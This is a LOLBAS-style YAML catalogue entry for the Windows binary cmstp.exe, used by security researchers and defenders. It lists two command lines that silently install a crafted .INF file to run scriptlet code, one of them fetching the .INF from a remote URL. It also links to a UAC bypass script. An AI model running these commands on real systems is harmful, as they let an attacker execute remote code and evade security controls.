---
Name: Cmstp.exe
Description: Execute, UACBypass
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
  - Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
    Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
  - Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
    Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
Full Path:
  - C:\Windows\system32\cmstp.exe
  - C:\Windows\sysWOW64\cmstp.exe
Code Sample: []
Detection: []
Resources:
  - https://twitter.com/NickTyrer/status/958450014111633408
  - https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
  - https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
  - https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
  - https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
    (UAC Bypass)
  - https://github.com/hfiref0x/UACME
Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer